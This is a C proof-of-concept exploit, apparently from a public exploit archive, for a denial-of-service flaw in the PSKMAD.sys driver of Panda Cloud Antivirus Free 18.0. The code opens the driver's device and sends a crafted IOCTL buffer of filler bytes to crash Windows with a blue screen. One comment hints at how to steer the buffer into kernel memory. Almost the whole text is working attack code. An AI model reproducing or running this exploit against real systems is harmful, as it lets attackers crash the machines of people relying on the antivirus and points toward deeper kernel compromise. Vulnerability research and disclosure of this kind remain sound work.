88 lines
No EOL
2.1 KiB
C
88 lines
No EOL
2.1 KiB
C
/*
|
|
# Exploit Title: Panda Cloud Antivirus Free - 'PSKMAD.sys' - BSoD - denial of service
|
|
# Date: 2017-04-29
|
|
# Exploit Author: Peter baris
|
|
# Vendor Homepage: http://www.saptech-erp.com.au
|
|
# Software Link: http://download.cnet.com/Panda-Cloud-Antivirus-Free-Edition/3000-2239_4-10914099.html?part=dl-&subj=dl&tag=button&lang=en
|
|
# Version: 18.0
|
|
# Tested on: Windows 7 SP1 Pro x64, Windows 10 Pro x64
|
|
# CVE : requested
|
|
*/
|
|
|
|
#include "stdafx.h"
|
|
#include <stdio.h>
|
|
#include <Windows.h>
|
|
#include <winioctl.h>
|
|
|
|
|
|
#define DEVICE_NAME L"\\\\.\\PSMEMDriver"
|
|
|
|
LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
|
|
HANDLE GetDeviceHandle(LPCTSTR FileName) {
|
|
HANDLE hFile = NULL;
|
|
|
|
hFile = CreateFile(FileName,
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0,
|
|
0,
|
|
OPEN_EXISTING,
|
|
NULL,
|
|
0);
|
|
|
|
return hFile;
|
|
}
|
|
|
|
int main()
|
|
{
|
|
|
|
HANDLE hFile = NULL;
|
|
PVOID64 lpInBuffer = NULL;
|
|
ULONG64 lpBytesReturned;
|
|
PVOID64 BuffAddress = NULL;
|
|
SIZE_T BufferSize = 0x800;
|
|
|
|
printf("Trying the get the handle for the PSMEMDriver device.\r\n");
|
|
|
|
hFile = GetDeviceHandle(FileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
printf("Can't get the device handle, no BSoD today. 0x%X\r\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
// Allocate memory for our buffer
|
|
lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
|
|
|
|
if (lpInBuffer == NULL) {
|
|
printf("VirtualAlloc() failed. \r\n");
|
|
return 1;
|
|
}
|
|
|
|
|
|
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer));
|
|
*(PULONG64)BuffAddress = (ULONG64)0x542DF91B; //Pool header tag???
|
|
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x4));
|
|
*(PULONG64)BuffAddress = (ULONG64)0x42424242;
|
|
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x8));
|
|
|
|
RtlFillMemory(BuffAddress, BufferSize-0x8 , 0x41);
|
|
|
|
|
|
|
|
DeviceIoControl(hFile,
|
|
0xb3702c38,
|
|
lpInBuffer,
|
|
NULL, //Change it to BufferSize and put a bp PSKMAD+3150 -> rax will point to our buffer in the kernel memory
|
|
NULL,
|
|
NULL,
|
|
&lpBytesReturned,
|
|
NULL);
|
|
|
|
/*This part is pretty much useless, just wanted to be nice in case the machine survives.*/
|
|
printf("Cleaning up.\r\n");
|
|
VirtualFree((LPVOID)lpInBuffer, sizeof(lpInBuffer), MEM_RELEASE);
|
|
CloseHandle(hFile);
|
|
printf("Resources freed up.\r\n");
|
|
return 0;
|
|
} |